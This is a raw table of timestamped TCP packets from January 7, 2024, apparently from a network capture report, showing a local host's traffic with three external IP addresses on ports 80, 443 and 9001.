Jan 7, 2024 05:29:57.996368885 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.996407986 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.996437073 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.996474028 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:57.996514082 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.996634007 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.996684074 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:57.996737003 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.122337103 CET	49743	9001	192.168.2.4	78.46.174.72
Jan 7, 2024 05:29:58.189305067 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.189353943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.189429045 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.189429998 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.189469099 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.189513922 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.189538002 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.189596891 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.189630985 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.190021992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.190098047 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.190133095 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.190135002 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.190473080 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.190521955 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.190587997 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.190644979 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.190676928 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.190751076 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.190833092 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.190879107 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.190928936 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.191057920 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.191097021 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.191200018 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.191320896 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.191359043 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.191400051 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.191694021 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.191730022 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.191934109 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.192004919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.192051888 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.192089081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.192167997 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.192204952 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.192610979 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.192687035 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.192729950 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.192961931 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.193002939 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.193095922 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.193129063 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.193159103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.193188906 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.292376995 CET	443	49762	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:58.292493105 CET	443	49762	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:58.292534113 CET	49762	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:58.327148914 CET	49762	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:58.327169895 CET	443	49762	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:58.364346981 CET	49764	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:58.364384890 CET	443	49764	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:58.364440918 CET	49764	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:58.364974022 CET	49764	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:58.364989042 CET	443	49764	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:58.386209011 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.386223078 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.386256933 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.386280060 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.386291981 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.386315107 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.386320114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.386363983 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.386380911 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.386425972 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.386459112 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.386492014 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.387136936 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.387171030 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.387171984 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.387200117 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.387465954 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.387492895 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.387500048 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.387526989 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.387571096 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.387595892 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.387603998 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.387633085 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.387640953 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.387681007 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.387700081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.387734890 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.387847900 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.387886047 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.387902021 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.387950897 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.388226986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.388263941 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.388293982 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.388331890 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.388416052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.388454914 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.388459921 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.388498068 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.388964891 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.388978004 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.388989925 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.389003992 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.389019966 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.389378071 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.389393091 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.389422894 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.389446974 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.389539003 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.389573097 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.389575958 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.389610052 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.389617920 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.389652967 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.551353931 CET	443	49764	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:58.551511049 CET	49764	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:58.561355114 CET	49764	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:58.561368942 CET	443	49764	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:58.561712980 CET	443	49764	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:58.562963963 CET	49764	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:58.562983036 CET	49764	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:58.562989950 CET	443	49764	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:58.579929113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.580013990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.580028057 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.580111027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.580161095 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.580250025 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.581331015 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.581370115 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.581378937 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.582221031 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.582262039 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.582335949 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.582416058 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.582451105 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.582482100 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.582597017 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.582631111 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.582726002 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.582746029 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.582782030 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.582818031 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.582840919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.582886934 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.582947969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.583118916 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.583161116 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.583240032 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.583312988 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.583344936 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.583384991 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.583755016 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.583787918 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.774210930 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.774240971 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.774321079 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.774379969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.775007010 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.775047064 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.775091887 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.776022911 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.776065111 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.776077986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.776241064 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.776274920 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.776314974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.776357889 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.776393890 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.776501894 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.776588917 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.776628017 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.776694059 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.776792049 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.776840925 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.777188063 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.777271032 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.777307034 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.777309895 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.777419090 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.777456045 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.777534008 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.777620077 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.777657032 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.777698994 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.777787924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.777825117 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.777852058 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.825489044 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.969273090 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.969924927 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.969970942 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.969979048 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.970746040 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.970794916 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.970834970 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.970944881 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.970982075 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.971019030 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.971148014 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.971195936 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.971195936 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.971249104 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.971287012 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.971295118 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.971390963 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.971431017 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.971492052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.971589088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.971625090 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.971730947 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.971801996 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.971838951 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.971853971 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.971955061 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.971990108 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.972011089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.972059011 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.972093105 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.972096920 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.972150087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.972182989 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:58.972184896 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:58.980324984 CET	443	49764	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:58.980421066 CET	443	49764	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:58.980465889 CET	49764	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:58.980825901 CET	49764	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:58.980848074 CET	443	49764	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:59.012960911 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.020190954 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.059905052 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.067656994 CET	49765	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:59.067701101 CET	443	49765	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:59.067764997 CET	49765	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:59.068377018 CET	49765	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:59.068388939 CET	443	49765	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:59.164156914 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.164231062 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.164272070 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.164999962 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.165106058 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.165146112 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.165186882 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.165268898 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.165302992 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.165349960 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.165364027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.165402889 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.165441990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.165515900 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.165553093 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.165572882 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.165828943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.165867090 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.166127920 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.166225910 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.166240931 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.166261911 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.166357994 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.166404963 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.166428089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.166482925 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.166517019 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.166588068 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.166656971 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.166691065 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.166735888 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.166871071 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.166906118 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.166934967 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.167042971 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.167078972 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.207345009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.254405022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.254515886 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.255366087 CET	443	49765	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:59.255433083 CET	49765	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:59.262120008 CET	49765	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:59.262140989 CET	443	49765	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:59.262480974 CET	443	49765	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:59.264847994 CET	49765	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:59.265710115 CET	49765	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:59.265742064 CET	443	49765	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:59.265815020 CET	49765	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:59.265827894 CET	443	49765	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:59.357872009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.357907057 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.357939959 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.357979059 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.358735085 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.358757019 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.358783960 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.358985901 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.359020948 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.359045029 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.359085083 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.359124899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.359164953 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.359204054 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.359217882 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.359241009 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.359945059 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.359957933 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.359992027 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.360006094 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.360021114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.360044003 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.360153913 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.360186100 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.360198975 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.360230923 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.360289097 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.360291958 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.360330105 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.360361099 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.360400915 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.360709906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.360769987 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.360783100 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.360805035 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.360819101 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.360843897 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.450118065 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.450160980 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.450205088 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.450323105 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.497332096 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.554971933 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.555017948 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.555079937 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.555712938 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.556049109 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.556096077 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:59.556202888 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:59.556297064 CET	80	49735	91.215.85.120	192.168.2.4
